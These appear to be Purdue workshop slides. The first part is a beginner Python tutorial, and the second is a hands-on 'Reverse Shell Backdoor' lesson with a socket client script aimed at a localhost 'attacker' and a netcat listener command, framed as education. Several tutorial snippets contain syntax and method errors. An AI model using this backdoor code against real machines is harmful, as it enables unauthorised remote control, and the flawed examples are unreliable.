Presented by Kevin Taha
- Part 1 : Intro to Python
- Part 2: Applications: Reverse Shell Backdoor
Full Slides available at kevintxy.github.io/Python_Workshop/
WINDOWS USERS: Please check the "Add Python3.7 to PATH" button.
If you prefer using the Linux Subsystem for Windows, open BASH and run "sudo apt install python3" instead
All information in this workshop is for educational purposes. If you have any issues please contact me! All workshop material is open source. Images used are courtesy of RealPython.
These slides should be comprehensive enough for you to reference back on your own
kevintxy.github.io/Python_Workshop
ktaha@purdue.edu
Python3 - Easy as Py
- Variables & Basics
- String Methods and Lists
- Loops
- Functions and Classes
- Some Data Structures
Applications: Reverse Shell Backdoor
- Mini intro to sockets
- Let's Hack!
int a = 1;
printf("%s", (a == 1) ? "A IS ONE":"A IS NOT ONE");
// Output: "A IS ONE"
a = 2
print("A IS ONE") if a is 1 else "A IS NOT ONE"
# Output: "A IS NOT ONE"
print("Hello Python")
That's it!
Now let's run it:
python hello.py
#!/usr/bin/env python
print("Hello World")
In terminal: chmod +x hello.py
, then run ./hello.py
# Use hashes to write comments
x = "Python"
y = 3
print(x)
print(y)
print(type(x))
x = "Python"
y = 3
# Formatting dynamically using .format
print("{} has many formatting tricks in version {}".format(x,y))
print("%s %d also supports C-style formatting!" % ("Python", 3))
# If concatenating with +, remember to cast!
print(x + str(y))
For Python 3.6+, Google "Python f-strings"
int a, b = 2, 5
a, b = b, a
# Python evaluates the right side first and packs the result into a tuple
# It then evaluates the left side using that result
# This effectively swaps the two variables
# Lists have no data type requirements.
myList = ["apple", 1, 2, "banana"]
# Easy to change elements
myList[1] = 7
# Also easy to append, remove, extend, etc with list functions!
myList.append("newstuff") # Adds new item
myList.extend([5,6,7]) # Extends list with contents of another list
myList.removes("apple") # Removes by item
myList.pop(0) # Removes item @ first index & returns it
# Other useful functions: len(), index(), count(), reverse(),
# sort(), clear(), enumerate() ... and many more!
longString = """ Use triple quotes in order to allow your strings
to span multiple lines without getting indentation errors """
# Split string up into words using space as separator
wordList = longString.split(' ')
# You can also do the reverse with str.join()
newString = ' '.join(wordList)
# You can search within strings as if they were lists
print('triple' in longString) # Outputs True
# Other useful functions: len(), str.strip(), .lower(), .upper(),
.replace(), .capitalize(), .index(), .isalpha(),...
a = "Boiler Up!"
a[:4] #Outputs: "Boil"
a[6:] #Outputs: " Up!"
a[3:8] #Outputs: "ler U"
a[:3] + a[6:] Outputs: "Boi Up!"
a[::2] #Outputs: "Bie p"
a[::-1] #Outputs: "!pU relioB", effectively reversing the string!
# Note: Python supports negative indices for lists!
a[-3] #Outputs: 'U'
Python has many control flow statements, these are the most notable:
Self explanatory, works like every other language. INDENT!
# Declaring 2 vars at once using Python's unpacking features
purdue, iu = 9, 4
if purdue > iu:
print(" IU Sucks! ")
elif purdue == iu:
iu = purdue - 1000
else:
del iu
# del is a keyword for deleting objects (usually not used)
# Python has the logical operators "and", "or", and "not"
if 9 + 10 != 21 and not iu > Purdue:
print("All is right in the world")
# Single statements can go on one line
if a > b: print("A is bigger")
# If/Else can also go on one line using ternary syntax
print(" IU Sucks! ") if purdue > iu else print(" iu sucks?")
# Remember to Indent!
i = 10
while i > 0:
print(i)
i -= 1
# Note: "break" and "continue" statements are supported!
# "Traditional" style for loops
for i in range(3):
print(i)
#Output: 0
1
2
# The range(first, last, skip) function is commonly used for loops
schools = ["Purdue", "IU", "UIUC", "Michigan"]
for x in mylist:
print(x)
# Loop through Letters in a String
for i in "some random string":
print(i)
# Use range function to specify exact looping parameters
for x in range(2,30,10):
print(x) #Output: 2, 12, 22
Python is an Object-Oriented language that can behave like a dynamic/functional language
def do_stuff():
print("Beep Boop did you call me?")
# Functions with parameters
def say_hello(name):
print("Hello", name)
# You can also set default parameter values
def say_hello(name = "John")
print("Hello", name)
# Prints "Hello John" if called w/out parameter
# Use the "return" keyword for return values
def add(x, y)
return x + y
def printFour(a, b, c, d):
print(a, b, c, d)
nums = [1, 2, 3, 4]
printFour(*nums)
# Using * will "unpack" the list into separate argument vars.
Python OOP could justify its own workshop, but here are the basics:
# Declaring Classes
class Pet:
# Initializer - uses one of Python's "Magic Methods"
def __init__(self, name, age):
self.name = name
self.age = age
mood = "Happy"
class Dog(Pet): # Subclass Inherits from Parent (Pet)
def bark(self)
print("Woof, says " + self.name)
myDog = Dog("Teddy", 2)
myDog.bark() # Outputs: "Woof, says Teddy"
The "import" is used for libraries and it is very versatile.
# Importing and using entire Library
import random
x = random.randint(1,10)
# You can rename an imported library using the "as" keyword
import random as ra
x = ra.randint(1,10)
# You can also choose to just import certain functions from the library
from random import randint, random, shuffle
x = [randint(1,10) for i in range(10)]
shuffle(x) # No need to reference the class!
# Sneak peak of "list comprehensions" shown above.
# Generated list of 10 random numbers 1-10 in just one line!
Typically we'd have separate code for a server and a client
Why write any server code if we can use NetCat?
The next few slides will also step through the code for those reviewing post-workshop. These are not as much in-depth so contact me with questions!
#!/usr/bin/python
import subprocess # Lets us start new processes/apps from within Python
import os # Gives us Operating System functions
import socket # Enables network programming w/ sockets in Python
# IP of the attacker computer. We'll use localhost (127.0.0.1)
# because we'll be attacking our own computer.
host = "127.0.0.1"
# Port to be used. Can be pretty much any 4 digit number.
port = 9999
# Intialize our socket - Internet Socket accessed via a stream.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Make a connection using our host name and port
s.connect((host,port))
# Start our Confirm function
Confirm()
nc -lvp [PortNumber]
in terminal. python3 exploit.py
purduehackers@gmail.com
phackers@purdue.edu
ktaha@purdue.edu